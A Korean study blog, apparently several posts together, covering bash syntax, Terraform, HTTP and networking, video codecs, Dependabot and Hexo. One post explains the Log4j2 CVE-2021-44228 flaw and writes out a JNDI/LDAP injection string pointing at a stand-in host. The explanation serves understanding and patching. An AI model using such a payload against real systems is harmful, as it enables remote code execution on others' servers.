쉘 스크립트 기초

이게 대체 뭔 소리야

1
2
3
#!/bin/bash
set -eo pipefail
ID=$(dd if=/dev/random bs=8 count=1 2>/dev/null | od -An -tx1 | tr -d ' \t\n')

AWS Lambda를 공부하던 중에 샘플 코드에 위와 같은 내용이 있었다.
이를 이해하는 데 제법 오랜 시간이 걸렸으나 그 과정에서 알게 된 것이 많다.

하향식으로 접근하면, 위 코드(쉘 스크립트)는 3개 행으로 구성되어 있으며, 아래와 같은 내용으로 구성된다.

  • 1행: shebang
  • 2행: set 명령어와 그 옵션
  • 3행: $, |, dd, dev/random, 2>/dev/null, od, tr

특히 3행은 외계어나 다름없어 보인다. 이를 하나씩 뜯어서 살펴보자.

Shebang

#!의 조합으로 시작되기 때문에 이러한 이름이 붙었다.
따라서 ‘셔뱅’이라고 읽으며, sha-bang, hash-bang이라고도 한다. 프로그램으로서 실행되는 스크립트임을 알리기 위해 스크립트 시작점에 작성하는 문자열이며, 나머지 부분은 인터프리터 지시자로 해석된다.

1
#! /bin/bash

특정 경로에 존재하는 어떤 스크립트의 첫 행이 위와 같다면, Unix-like OS는 그 스크립트를 프로그램으로 인식하며, 지정한 인터프리터, 즉 /bin/bash를 실행하면서 해당 스크립트가 위치한 경로가 그 인수로 전달된다.

set -eo pipefail

set은 로컬 환경변수의 조회 및 쉘 환경 설정 기능을 수행한다. 환경변수를 조회한다는 점에서 env명령어와 유사하지만, env명령어는 글로벌 환경변수의 조회만 가능하다는 점에서 그 차이가 있다.

  • -e옵션: 오류 발생 시 프로세스 중단
  • -o pipefail옵션: pipe 오류 코드 승계
    즉, set -eo pipefail 명령을 실행하면, 이후 실행되는 pipe로 연결된 스크립트 중 하나만 non-zero exit code를 반환하여도 프로세스가 중단된다.

|

파이프 명령어로, 파이프 왼쪽에 위치한 (출력)값을 오른쪽에 위치한 명령어의 입력으로 전달한다.

1
ls -al | grep "yml"

예를 들어, 위 스크립트는 | 왼쪽의 ls -al의 출력을 오른쪽 grep "yml"의 입력으로 전달한다.
따라서, ls-al의 출력값은 cli로 출력되지 않고 grep "yml"의 입력로 전달되며, 결과적으로 현재 디렉토리에 존재하는 파일과 디렉토리의 리스트(ls -al의 출력) 중에서 yml이라는 문자열을 포함하는 행만 출력된다.

$와 명령어 치환(Command Substitution)

쉘 스크립트에서 $는 변수를 가리키기 위해 사용된다. 예를 들어, $VAR또는 ${VAR}과 같이 VAR라는 변수의 값에 접근할 수 있다.

1
$(cat file.txt)

하지만 위의 예시에서 $는 변수의 값에 접근하기 위해 사용된 것이 아니라, 명령어 치환을 위해 사용되었다. $(command)형태의 스크립트는 자기 자신을 subshell 환경에서 command 명령어를 실행한 표준 출력으로 대체한다.
(다만 예시는 $(< file)와 동치이며, <를 사용하는 것이 더 빠르다.)

dd

dd 명령어는 stdin을 stdout으로 복사하는 역할을 한다.

  • bs=n: input, output 블록 사이즈를 n byte로 설정한다.(디폴트: 512바이트)
  • count=n: n개의 블록만 처리한다.
  • if=file stdin 대신 file로부터 input을 받는다.
    즉, /dev/random이라는 파일로부터 8바이트의 블록 1개를 읽어와서 출력하는 것으로 해석할 수 있다.
    그런데 /dev/random은 뭘까…?

/dev/random, /dev/null

리눅스 파일 시스템에서는 모든 대상을 파일 또는 디렉토리로 추상화하여 관리한다. 디바이스에 입력/출력을 실행하는 것은 해당 디바이스를 추상화한 파일에 쓰기/읽기를 수행하는 것과 같다.
/dev 디렉토리는 스페셜 파일 또는 디바이스 파일이 위치한 디렉토리이다. 대부분의 디바이스의 종류는 아래와 같이 크게 2가지로 나뉜다.

  • 블록 디바이스
    • 블록/섹터 등의 단위로 데이터를 전송하는 디바이스
    • 주로 데이터를 저장하는 역할을 수행
    • 리눅스 파일 모드에서 b로 표시
    • 하드디스크, CD/DVD 등
  • 캐릭터 디바이스
    • byte 단위로 데이터를 전송하는 디바이스
    • 리눅스 파일 모드에서 c로 표시
    • 키보드, 마우스 등

하지만 물리적 디바이스와 연결되지 않는 디바이스 파일도 있는데, 이를 pseudo-device라고 한다. 커널 레벨에서 동작하는 기능들을 제공하는데, /dev 디렉토리에 있는 대표적인 pseudo-device들은 아래와 같다.

  • /dev/null: 모든 입력을 버리는 블랙홀과 같다. 출력(읽기)을 하면 EOF를 반환한다.
  • /dev/zero: 마찬가지로 모든 입력을 무시하며, 출력 시 null 문자의 stream을 반환한다.
  • /dev/full: 입력 시도시 ENOSPC(disk full) 에러를 반환하며, 출력 시 null 문자의 stream을 반환한다.
  • /dev/random: 입력한 데이터는 엔트로피 풀에 추가되며, 출력 시 커널의 암호학적 유사난수 생성기(CSPRNG)에서 생성된 데이터를 출력한다.

2>

컴퓨터 프로그램은 실행 환경과 통신하기 위한 stdin, stdout, stderr라는 3개의 데이터 스트림을 가지며, 각각 0, 1, 2라는 정수 file descriptor 값을 갖는다. 즉, 2>는 표준 에러의 출력을 지정하는 스크립트이다.

od

Octal Dump의 약어로, 특정 입력을 사용자가 지정한 포맷으로 출력한다.

  • -A: 입력의 주소값을 출력하는 방식을 지정한다. d, o, x, n 네 옵션이 있으며, 각각 decimal, octal, hexadecimal, no address이다.
  • -t: 출력 포맷을 지정한다.
    • a: ascii
    • c: default char set
    • d/o/u/x: signed decimal/octal/unsigned decimal/hexadecimal. 아래 size 지정자와 같이 쓰일 수 있다.
      • C: char, 1 byte
      • S: short, 2 byte
      • I: Int, 4 byte
      • L: Long, 8 byte
      • 1/2/4/8: 10진수로 나타낸 바이트 수.

tr

translate. 입력값을 가공하여 출력한다.

  • -C/-c: 입력값 중 특정 charater set을 제외한 나머지를 지정한 값으로 바꾼 값을 출력한다.
  • -d: 입력값 중 특정 charater set을 지우고 출력한다.

그래서 이게 뭔 소리라고?

1
#!/bin/bash

이 스크립트는 bash로 실행되는 프로그램이다. /bin/bash를 실행한다.

1
set -eo pipefail

pipe 중 하나라도 fail(exit code가 0이 아님)이면 프로세스를 중단하라.

1
ID=$(dd if=/dev/random bs=8 count=1 2>/dev/null | od -An -tx1 | tr -d ' \t\n')

ID라는 변수에 세개의 쉘 스크립트를 아래와 같이 조합하여 할당한다.
1) 8 byte 크기의 랜덤한 값을
2) 1 byte 단위로 16진수 형태로 변환한 뒤
3) 공백, 탭, 개행문자를 제거한 값

출처

https://github.com/awsdocs/aws-lambda-developer-guide/tree/main/sample-apps/blank-nodejs/1-create-bucket.sh
https://ko.wikipedia.org/wiki/%EC%85%94%EB%B1%85
https://zetawiki.com/wiki/%EB%A6%AC%EB%88%85%EC%8A%A4_set
https://zetawiki.com/wiki/%EB%A6%AC%EB%88%85%EC%8A%A4_set_-e
https://zetawiki.com/wiki/%EB%A6%AC%EB%88%85%EC%8A%A4_set_-euxo_pipefail
https://zetawiki.com/wiki/%EB%A6%AC%EB%88%85%EC%8A%A4_env,\_set_%EC%B0%A8%EC%9D%B4%EC%A0%90
https://www.gnu.org/software/bash/manual/html_node/Command-Substitution.html
https://tldp.org/LDP/Linux-Filesystem-Hierarchy/html/dev.html
https://en.wikipedia.org/wiki/Device_file
https://ko.wikipedia.org/wiki//dev/random
https://en.wikipedia.org/wiki/Standard_streams

Terraform Language 기초

Terraform은 오픈소스 IaaC툴이며, 이를 위해 자체 Configuration 언어인 Terraform Language를 사용한다.

Terraform Language Elements

1
2
3
4
5
6
7
8
resource "aws_vpc" "main" {
cidr_block = var.base_cidr_block
}

<BLOCK TYPE> "<BLOCK LABEL>" "<BLOCK LABEL>" {
# Block body
<IDENTIFIER> = <EXPRESSION> # Argument
}
  • Blocks: 컨테이너의 역할을 수행하며, 리소스 등 특정 개체의 설정을 나타낸다.
    • block type: 모든 블록은 타입을 갖는다.
    • labels: 타입에 따라 라벨의 갯수가 정해진다.
    • body: 다른 Argument와 블록이 중첩될 수 있다.
  • Arguments: name에 value를 할당하며, block 안에 존재한다.
  • Expressions: 참조/조합되거나 그 자체로 어떤 값이 된다.

Modules

  • Module이란 여러 개의 구성 파일(.tf 또는 .tf.json)이 한 디렉토리에 모인 것을 말한다.
  • 모듈은 같은(top) 레벨의 파일들만으로 구성되며, 하위 디렉토리는 별개의 모듈로 취급되어 구성에 자동으로 포함되지 않는다.
  • Terraform은 항상 하나의 root module 컨텍스트에서 실행되며, Terraform 구성(configuration)은 root 모듈과 그 child 모듈(root모듈이 호출한 모듈과 그 child)들의 트리 형태이다.
  • module 블록을 통해 child 모듈을 호출할 수 있으며, 아래와 같은 argument를 갖는다.
    • source: child module의 configuration file path 또는 다운로드 주소
    • version: child module 버전
    • input variables
    • meta-arguments: child 모듈을 호출하는 방식을 지정해줄 수 있다.

Resources

  • Terraform Language에서 가장 중요한 요소
  • 각 Resource 블록은 타입과 로컬 네임, 2개의 라벨을 가지며, 타입과 리소스의 조합은 각 resource의 id로 작용하므로 같은 모듈에서 unique해야 한다.
  • 로컬 네임은 같은 모듈 스코프에서 해당 리소스를 참조하는데 사용된다.

Meta-arguments

  • depends_on: 의존성 명시
  • count: 특정 갯수의 인스턴스를 생성(for_each와 동시 사용 불가)
  • for_each: map 또는 string set으로 다수의 인스턴스를 생성(count와 동시 사용 불가)
  • provider: non-default provider configuration 지정
  • lifecycle: 리소스의 생성/소멸 관련 조건 지정
  • provisioner: resource 생성 후 별도 행동

Resource Behavior

  • Resource 블록을 통해 새로운 객체가 생성될 경우, 해당 객체의 id가 Terraform state에 저장되어 관리된다.
  • 이미 state에 존재하는 Resource 블록이 있을 경우, configuration과 객체를 비교하여 필요시 객체를 configuration에 맞게 update한다.

Data Sources

  • data블록은 ‘data source’와 ‘local name’ 2개의 라벨을 가지며, 특정 data source로부터 데이터를 읽어 와서 local name 아래에 결과를 export한다.
  • variable 블록과 마찬가지로 참조에 의한 값을 할당한다는 공통점이 있지만, variable 블록은 Terraform configuration 안에서 정의되는 반면 data 블록은 클라우드 인프라, 애플리케이션 등 외부에서 발생하는 데이터를 참조한다는 차이점이 있다.

Providers

  • Providers Terraform에서 클라우드/SaaS/기타 API 제공자와 상호작용하기 위해 사용하는 플러그인이다.
  • Provider는 resource 및 data source의 집합을 추가해 준다.

Variables and Outputs

  • variable 블록은 input variable을 정의하는 데 쓰인다.
    • default: 디폴트 값
    • type: value의 타입(string, number, bool + collections 등의 복합 타입)
    • description
    • validation: condition argument를 통해 변수가 가질 수 있는 값의 조건을 지정할 수 있으며, error_message로 invalid할 경우 에러 메시지를 지정할 수 있다.
    • sensitive: boolean. Terraform UI output에서 마스킹 여부를 결정
    • nullable
  • output 블록은 모듈 외부로 값을 export할 때 사용된다.
    • value
    • description
    • sensitive
    • depends_on: 의존 관계를 명시적(explicit)으로 표현할 때 쓰인다.

출처

https://www.terraform.io/language

주말 네트워크 공부 02 - 네트워크 애플리케이션의 원리와 HTTP

네트워크 애플리케이션 구조

클라이언트/서버 구조

  • 웹 애플리케이션과 같이, 항상 켜져있는 서버 호스트가 다른 많은 클라이언트 호스트의 요청을 처리하는 구조
  • 클라이언트는 직접 통신하지 않음
  • 서버가 고정 IP주소라는 잘 알려진 주소를 가짐
  • 하나의 서버 호스트가 클라이언트의 모든 요청을 처리하기 어려울 경우, 데이터 센터 등으로 가상 서버를 생성

P2P 구조

  • 항상 켜져있는 기반 서버에 최소 의존 또는 전혀 의존하지 않음
  • 간헐적으로 연결된 호스트 쌍이 서로 직접 통신
  • 클라이언트-서버 구조와 P2P 요소를 결합한 하이브리드 구조도 존재
  • 자가 확장성을 가지며, 비용 효율적

프로세스 간 통신

  • 서로 다른 2개의 종단 시스템에서 각각의 프로세스는 메시지 교환을 통해 통신

프로세스 - 네트워크 인터페이스

  • 프로세스는 소켓(socket, 호스트의 애플리케이션 레이어와 트랜스포트 레이어 간 인터페이스)을 통해 네트워크로 메시지를 주고받음
  • 애플리케이션 개발자는 트랜스포트 계층에는 트랜스포트 프로토콜의 선택과 약간의 매개변수만 통제가 가능

TCP와 UDP

TCP

  • 연결 지향형 서비스: 클라이언트와 서버는 전송 제어 정보를 교환하는 핸드셰이크 단계를 거친 후에 연결이 생성되어 양방향 메시지 전달이 가능해지고, 메시지 전송이 끝나면 연결을 끊는다.
  • 신뢰적 데이터 전송 서비스
  • SSL: 암호화를 제공하지 않는 TCP에 보안성을 갖추기 위해 애플리케이션 레이어에 구현된 암호화 프로토콜
  • 혼잡 제어 방식: 인터넷의 전체 성능 향상을 위해 각 연결의 대역폭 조정 및 제한

UDP

  • 최소 서비스 모델: 비연결형, 비신뢰적 데이터 전송 서비스
  • 혼잡 제어 방식 미포함

HTTP

  • HTTP는 클라이언트 프로그램(웹 브라우저)과 서버 프로그램(웹 서버)으로 구현된다.
  • 웹 페이지를 구성하는 각 객체의 URL은 1)해당 객체가 존재하는 서버의 호스트 네임과 2)객체의 경로 이름을 가진다.
  • HTTP는 TCP를 기반으로 하며, 브라우저와 서버의 프로세스는 소켓 인터페이스를 통해 TCP 통신을 진행한다.
  • HTTP는 상태가 없다(stateless).

HTTP 메시지 포맷

HTTP req 메시지

  • request 라인: HTTP req 메시지의 첫 번째 줄이다.
    • 메서드 필드(GET, POST, HEAD, PUT, DELETE, etc.)
      • GET: URL에 해당하는 객체를 요청한다.
      • POST: 사용자가 입력한 form 정보를 전달을 포함한 객체를 요청한다.
      • HEAD: GET과 유사하나, 객체는 보내지 않고 HTTP 메시지 res만 요청한다.
      • PUT: 웹 서버에 업로드할 객체가 필요한 애플리케이션이 사용한다.
      • DELETE: 웹 서버에 있는 객체의 삭제를 요청한다.
    • URL 필드
    • HTTP 버전 필드
  • header 라인: HTTP req 메시지의 나머지 줄이다.
    • Host: 객체가 존재하는 호스트 네임이며, 웹 프록시 캐시가 요구하는 정보이다.
    • Connection: 지속 연결을 사용할지 여부
    • User-agent: 브라우저 타입
    • Accept-language: 선호 언어
  • entity body: GET에서는 empty 상태이며, POST에서는 사용자가 입력한 form 정보를 포함한다.

HTTP res 메시지

  • 초기 상태 라인
    • HTTP 버전 필드
    • 상태 코드 및 메시지
      • 200 OK
      • 301 Moved Permanently
      • 400 Bad Request
      • 404 Not Found
      • 505 HTTP Version Not Supported
  • header 라인:
    • Connection: 클라이언트에게 메시지를 보낸 후 연결을 지속할지 여부
    • Date: 서버가 HTTP res를 생성하고 보낸 시간
    • Server: 웹 서버 타입(req의 User-agent와 유사)
    • Last-Modified: 객체 생성 또는 최근 수정 시간이며, 캐싱 기능에 중요하게 사용된다.
    • Content-Length: 객체 크기
    • Conent-Type: 객체 타입
  • entity body

쿠키

  • HTTP는 stateless하므로, 서버가 사용자를 추적하기 위해 쿠키(cookie)를 사용한다.
  • 쿠키는 아래와 같은 4개 요소로 작동한다.
    • HTTP res 메시지 쿠키 헤더 라인: 서버는 사용자 식별을 위한 ID를 생성하고 Set-cookie: 헤더에 이를 포함한다.
    • 브라우저 쿠키 파일: 브라우저는 이를 자신이 관리하는 쿠키 파일에 저장한다.
    • HTTP req 메시지 쿠키 헤더 라인: 브라우저는 쿠키 파일에 현재 사이트에서 발급받은 쿠키가 있을 경우 이를 Cookie: 헤더로 포함하여 req 메시지를 전달한다.
    • 서버(사이트) 백엔드 데이터베이스: 쿠키로 식별한 각 사용자의 활동 정보가 저장된다.

웹 캐싱

  • 웹 캐시는 프록시 서버라고도 불리며, origin을 대신하여 HTTP req를 처리해줄 수 있는 네트워크 개체이다.
  • 이를 위해 자체 저장 디스크를 갖추고 최근 호출된 객체의 사본을 저장한다.
  • 브라우저 설정을 통해 모든 HTTP 요청을 웹 캐시를 거치도록 구성할 수 있다.

주말 네트워크 공부 01 - 컴퓨터 네트워크와 인터넷

구성요소로 본 인터넷

  • 인터넷은 여러 개의 컴퓨팅 장치(종단 시스템)를 연결하는 컴퓨터 네트워크
  • 종단 시스템은 통신 링크(물리 매체)와 패킷 스위치의 네트워크로 연결
  • packet = segment(데이터의 조각) + header
  • 가장 널리 사용되는 패킷 스위치는 라우터와 링크-레이어 스위치로, 최종 목적지 방향으로 패킷을 전달하는 역할을 수행하며, 링크-레이어 스위치는 주로 액세스 네트워크에서, 라우터는 네트워크 코어에서 사용

서비스 측면에서 본 인터넷

  • 인터넷에 접속된 종단 시스템(출발지)은 인터넷 인프라 구조에게 다른 종단 시스템(목적지)에서 수행되는 프로그램에 데이터를 어떻게 전달하도록 요구하는지 명시하는 API(Application Programing Interface)를 제공
  • API는 송신 프로그램이 따라야 하는 규칙의 집합이며, 인터넷은 이 규칙에 따라 데이터를 목적지로 전달

액세스 네트워크, 네트워크 코어

  • 액세스 네트워크: 종단 시스템 간 경로 중 출발지와 첫 번째 라우터를 연결하는 네트워크
  • 네트워크 코어: 패킷 스위치와 링크의 메시(mesh)
  • 링크, 스위치의 네트워크를 통한 데이터의 전송에는 회선 교환과 패킷 교환 방식이 존재

인터넷 프로토콜 스택

  • 네트워크 프로토콜은 레이어 구조를 가지며, 각 프로토콜은 한 레이어에 속하며, 상위 레이어는 하위 레이어의 서비스를 이용할 수 있다.
  • 인터넷 프로토콜 스택은 Application, Transport, Network, Link, Physical 5개 레이어로 구성된다.

Application Layer

  • 인터넷에서 사용하는 애플리케이션 계층 프로토콜은 대표적으로 HTTP, SMTP, FTP등이 있다.
  • 애플리케이션 레이어에서의 정보 패킷을 메시지(message)라 부른다.

Transport Layer

  • 애플리케이션 레이어로부터 전달받은 메시지를 전송하는 서비스를 제공한다.
  • 인터넷에서는 TCP, UDP 2가지의 트랜스포트 프로토콜이 사용된다.
  • 트랜스포트 레이어에서의 정보 패킷을 세그먼트(segment)라 부른다.

Network Layer

  • 출발지 호스트의 트랜스포트 레이어로부터 전달받은 세그먼트를 목적지 호스트의 트랜스포트 레이어로 전송하는 서비스를 제공한다.
  • 네트워크 레이어에서의 정보 패킷을 데이터그램(datagram)이라 부른다.
  • IP는 데이터그램의 필드 및 네트워크 요소(종단 시스템 및 라우터)가 각 필드에 어떻게 동작하는지 정의하는, 유일한 프로토콜이다.
  • 라우팅 프로토콜 역시 네트워크 레이어에 속하며, 인터넷은 다양한 라우팅 프로토콜을 가지고 있다.
  • 한 노드(호스트 또는 패킷 스위치)에서 다른 노드로 패킷을 전달하는 서비스를 제공한다.
  • 이더넷, 와이파이, DOCSIS(Data Over Cable Service Interface Specification) 등이 있다.
  • 링크 레이어에서의 정보 패킷을 프레임(frame)이라 부른다.

Physical Layer

  • 한 노드에서 다른 노드로 프레임 내부의 각 비트를 전달하는 기능을 담당한다.

캡슐화(Encapsulation)

  • 패킷은 각 레이어를 거치면서, 상위 계층에서 받은 정보에 헤더를 추가하면서 데이터를 캡슐화한다.

네트워크 공격

  • 호스트에서 악성코드 실행
  • 네트워크 인프라 공격(DoS)
  • 패킷 탐지(Sniffing)
  • 패킷 위장(Spoofing)

인코딩과 비디오 코덱

Video Codecs and Encoding

Video Encoding

비디오 인코딩이란 비디오 원본을 다양한 기기에 호환되는 디지털 형태로 변환하는 과정을 말한다. 라이브 스트리밍에서는 데이터의 빠른 전달과 재생을 위해 비디오 인코딩이 필수적이다.
인코딩은 다양한 기기 또는 소프트웨어에서 실행되며, 유명한 소프트웨어로는 Vmix, Wirecast, OBS Studio 등이 있다.
인코더는 비디오/오디오 코덱을 사용하여 전달이 용이한 크기로 비디오 원본을 압축한다. 간단히 말하자면, 인코딩은 압축 과정, 코덱은 압축의 수단이라고 볼 수 있다.

What Is a Codec?

Codec은 coder-decoder, compressor-decompressor의 준말로, 스트리밍의 경우 저장 및 전송을 위해 손실 압축을 적용하며, 추후 재생을 위해 복원된다. H.264는 가장 보편적인 비디오 코덱이며, AAC(Advanced Audio Coding)은 가장 보편적인 오디오 코덱이다.

What Is a Video Container Format?

압축 후, 스트림의 컴포넌트들은 wrapper 또는 파일 포맷으로 패키징된다. 이러한 파일은 오디오/비디오 코덱, CC, 메타데이터를 포함한다. 보편적인 컨테이너로는 .mp4, .mov, .ts, .wmv 등이 있다.

Video Codecs vs Containers: What’s the Difference?

코덱은 비디오 원본을 압축하고 복원하며, 전송을 위해 손실 압축을 거치면서 데이터 손실이 발생한다. 반면 비디오 컨테이너는 비디오/오디오 코덱, 자막이나 미리보기 이미지 등의 메타데이터를 모두 저장하여 어떤 프로그램이 스트림을 처리하는지를 결정한다.

Best Video Codecs for Streaming

차세대 코덱은 높은 인코딩 성능과 질을 보여줄 수 있는 반면, 기기 호환성을 보장하기 위해서는 레거시 코덱도 지원하여야 한다. 일례로, 넷플릭스는 최신 코덱 지원을 지속적으로 추가하면서도 서비스 시작부터 지원하였던 VC1 코덱을 계속 지원한다.

H.264/AVC(Advanced Video Coding)

오늘날 대다수의 인코딩 결과는 H.264(=AVC) 파일이다. 주로 AAC 오디오 코덱과 결합되어 사용되며 .mp4, .mov, .F4v, .3GP, .ts 컨테이너에 패키징될 수 있다.
H.264는 거의 모든 기기에서 재생이 가능하며, 높은 품질의 비디오 스트림을 전달하면서도 로열티에 대한 우려가 가장 적다. H.264는 넓은 기기 지원 범위를 바탕으로 높은 점유율을 보여주지만, 4K, HDR(High Dynamic Range) 컨텐츠에는 적합하지 않다. H.264는 빠른 인코딩 속도를 바탕으로 라이브 생성(Live Origination)- 과 Transcoding에 강점을 보이므로 low-latency streaming에 적합하다.

VP9

Google이 개발한 VP9은 로열티가 없는 H.265의 오픈소스 대체 코덱이다. Google의 YouTube와 Chrome 브라우저가 VP9을 지원하며, 안드로이드 기기, Firefox, Safari, 신형 iOS 기기 역시 이를 지원한다. 또, 많은 WebRTC 워크플로우에서도 VP9을 사용한다. 고성능 비디오에 적합하면서 H.264에 이어 2위의 브라우저/기기 호환성을 보여주어 VP9의 활용폭은 넓어지고 있으며, YouTube와 Netflix의 VP9 사용은 이러한 흐름을 주도할 것으로 보인다.

H.265/HEVC(High Efficiency Video Coding)

H.264의 후속으로 MPEG(Moving Picture Experts Group, ISO/IEC 산하 그룹)에서 개발된 H.265는 압축 효율성 향상과 8K 해상도 지원을 목표로 하며, 실제로 H.264보다 더 작은 결과물 파일을 생성하면서 스트림을 재생하는데 요구하는 대역폭은 더 낮으므로 고해상도 스트리밍에 적합하다. 하지만 코덱 사용 로열티와 특허, 저작권에 대한 불명확성이 있어서 시장 점유율과 호환성이 낮은 편이다. 다만, 대부분의 스마트TV(Living room device)에서 지원되기 때문에 고해상도 OTT 콘텐츠를 제공할 경우에는 H.265가 많이 사용된다.

AV1(AOMedia Video 1)

H.265의 로열티 문제로 인해 Amazon, Netflix, Google, Microsoft, Cisco, Mozila는 AOMedia(Alliance for Open Media)를 결성하여 H.265의 오픈소스 대체 코덱 AV1을 만들었다. 다만 역사가 짧기 때문에 점유율이 높지 않으며, 인코딩 시간이 오래 걸린다는 단점도 있다.

Encoding vs. Transcoding

Transcoding은 인코딩된 파일을 디코딩하여 변환하는 것을 말한다. 이는 데이터를 보다 일반적인 코덱으로 재인코딩하거나, 비디오를 저화질로 변환(transize)하거나, 파일의 비트레이트를 변환(transrate)하거나, 보다 확장성이 높은 프로토콜로 변환(transmux: transcode-multiplexing)하는 등 다양한 과정을 포함한다. 트랜스코딩이 끝나면, 미디어 서버는 파일을 다시 압축한다.

출처

https://www.wowza.com/blog/video-codecs-encoding

Log4j2 취약점(CVE-2021-44228)

Log4j2 취약점이란?

CVE-2021-44228은 2021년에 발견된, 널리 사용되는 자바 기반의 loggin 패키지인 Log4j의 취약점이다. 이는 공격자가 원격 서버에서 코드를 실행하는(Remote Code Execution, RCE) 공격을 허용하기 때문에 심각한 위협이 된다. 해당 취약점은 Log4j 버전 2(2.0-beta-9부터 2.14.1)에 존재하며, 2.15.0 버전에서 패치되었다.

JNDI와 LDAP

Log4j 패키지는 2013년에 v2.0-beta-9에서 “JNDILookup plugin”을 추가하였다. JNDI는 Java Naming and Directory Interface의 약어로, Java 프로그램이 디렉토리에 위치하는 데이터에와 자원에 접근하기 위한 인터페이스이다. Java 프로그램은 JNDI와 LDAP(Lightweight Directory Access Protocol)을 사용하여 LDAP 서버에 접근, LDAP 서버에서 객체를 로드할 수 있는데, localhost(해당 Java 프로그램이 실행되는 머신)의 LDAP 서버 말고도 LDAP URL을 사용하여 인터넷에 연결된 임의의 머신에서 실행되는 LDAP 서버를 지정할 수 있다. 즉, 공격자가 특정 Java 프로그램의 LDAP URL을 수정할 수 있는 권한을 얻게 된다면 해당 프로그램이 실행되면서 공격자가 원하는 서버에 위치한 객체를 로드할 수 있다는 것이다.

공격 시나리오

공격자가 Log4j를 통해 ${jndi:ldap://example.com/a} 같은 형태의 문자열을 출력할 경우, Log4j는 example.com의 LDAP서버에 접근하여 객체를 반환하게 된다. 이는 Log4j가 ${prefix:name} 형태의 특수 구문을 지원하여 여러가지 Lookup을 지원하기 때문인데, key가 “:”을 포함할 경우 기본 prefix인 “java:comp/env/“가 붙지 않고 LDAP 서버에 쿼리가 발생한다.
따라서 공격자는 log가 발생하는 input을 찾아내어 ${jndi:ldap://example.com/a} 형식의 log가 발생하도록 하면 자신이 원하는 LDAP 서버에 위치한 코드를 실행할 수 있다. 이는 Java 기반의 인터넷과 직접 상호작용(Internet facing)하는 소프트웨어의 일반적인 공격 시나리오이며, 인터넷과 직접 상호작용하지 않는 Java 기반의 소프트웨어도 시스템 간 데이터 전송을 통해 공격 대상이 될 수 있다. 따라서, Log4j를 사용하는 모든 Java 기반 시스템은 반드시 업데이트가 요구되는 상황이다.

출처

Dependabot은 무엇일까?

내 main 브랜치에 무슨 짓이야

Github 리포지토리에 Dependabot이라는 봇이 main 브랜치를 내가 생성한 적이 없는 브랜치와 머지하는 PR을 작성하였다.

PR을 확인해보니 package-lock.json, package.json, yarn.lock 3개의 파일이 변경된 것을 확인할 수 있었는데, PR의 제목처럼 hexo-renderer-marked라는 패키지의 버전을 업데이트하면서 생긴 변경임을 확인할 수 있었다.

Dependabot이란?

Dependabot은 Bump1라는 프로젝트로부터 출발한, 프로젝트의 의존성을 최신으로 유지하는 툴이다. 핵심 기능을 담당하는 Dependabot Core는 Ruby Gem들의 집합으로 Ruby, Python, JavaScript 등 넓은 범위의 언어를 지원하며, 리포지토리에 존재하는 코드의 의존성을 확인하여 업데이트 후 빌드하여 PR을 생성하는 기능을 수행한다.
2
.github/dependabot.yml 파일을 통해 업데이트 스케줄, 최대 open된 PR의 개수 등을 추가로 설정할 수 있다.

출처

Hexo 튜토리얼: Travis CI를 사용한 Github Pages 블로그 운영

Hexo란?

Hexo는 GitHub Pages를 사용한 블로깅에 자주 사용되는 Jekyll과 비슷한 블로깅 프레임워크이다. Ruby Gem 형태로 사용되어 Ruby 개발환경을 세팅해야 하는 Jekyll에 비해 내 환경에 이미 설치되어있던 Node.js와 Git 두 요구사항에 의존하는 점이 마음에 들어서 사용하게 되었다.

Hexo는 지정 폴더의 리소스를 관리하여 블로그 애셋을 생성/배포하는 방식으로 작동한다.
hexo init <folder> 명령어로 블로깅에 사용할 폴더를 초기화하면 아래와 같은 형태의 구조를 갖추게 된다.

1
2
3
4
5
6
7
8
.
├── _config.yml
├── package.json
├── scaffolds
├── source
| ├── _drafts
| └── _posts
└── themes

draft 폴더에 마크다운 파일을 생성하고 hexo publish 명령어로 이를 post로 옮겨서 게시글 작성을 관리할 수 있으며, scaffolds를 통해 사전에 정의해둔 포맷으로 게시글을 생성할 수 있다. 각 게시글 상단에 Front-matter라는 YAML 또는 JSON 형식의 메타데이터를 입력하여 해당 게시글의 제목, 태그 등의 정보를 지정할 수 있다.
게시글 작성을 마치고 _post 폴더로 옮긴 다음에는 .md 형식의 파일을 HTML, CSS, JS로 구성된 정적 페이지로의 변환하는 과정이 필요하다. 이를 수행하는 명령어가 hexo generate로, 로컬 환경에서 이를 실행한 후 호스팅하는 방식으로 사용할 수도 있겠지만, hexo는 다양한 방식의 보다 편리한 배포 및 관리를 지원한다.

GitHub Pages와 Travis CI를 사용한 블로그 퍼블리싱

hexo는 git, heroku 등 다양한 환경에 맞는 배포 툴을 지원하지만, GitHub Pages를 사용하는 Hexo의 공식 튜토리얼에서는 Travis CI라는 CI 툴을 사용하여 배포를 진행한다.
Travis CI에 GitHub Pages 리포지토리(username.github.io) 권한을 부여한 후, .travis.yml 파일을 리포지토리에 추가하여 main 브랜치에서 gh-pages 브랜치로의 배포를 자동화할 수 있다. .travis.yml 파일에는 hexo generate 명령어를 사용하여 정적 파일을 생성하는 스크립트가 설정되어 있다. 이후 리포지토리 설정에서 gh-pages 브랜치 내용을 GitHub Pages 사이트 소스로 설정하면, username.github.io로 사용자의 블로그를 호스팅할 수 있다.

출처

https://hexo.io/ko/docs/setup
https://hexo.io/ko/docs/github-pages

Adobe Flash와 ActiveX

웹 상에서의 사용자 경험에 대한 갈증

웹을 통해 사용자에게 하이퍼텍스트 이상의 경험, 다시 말해 영상과 소리, 또는 게임 등의 상호작용이 가능한 컨텐츠를 전달하려면 어떻게 해야 할까? 클라이언트의 웹 브라우저는 HTTP 통신으로 정보를 주고받지만, 기존에 주고받던 데이터의 형태인 텍스트와 정적인 이미지에 비해 훨씬 많은 자원을 요구하는 이러한 컨텐츠를 웹을 통해 전달하고 경험하기 위해서는 특별한 고려가 필요하다. 이를 해결하기 위해 등장한 수많은 해답 중 하나인 RIA와 Browser Plugin 기술에 대해 알아보자.

Rich Internet Application(RIA, RWA=Rich Web Appliction)

웹 상에서 사용자 경험을 향상시키기 위한 브라우저 확장 프로그램으로, 데스크탑 애플리케이션의 특징을 갖는 웹 애플리케이션이다. Adobe Flash의 전신인 Macromedia Flash MX로 만든 프로덕트를 설명하기 위한 개념으로 처음 소개되었으며, Java applet, 어도비 플래시, MS 실버라이트 등의 플러그인 기술로 개발한 웹 애플리케이션을 칭하는 개념으로 확장되었다.
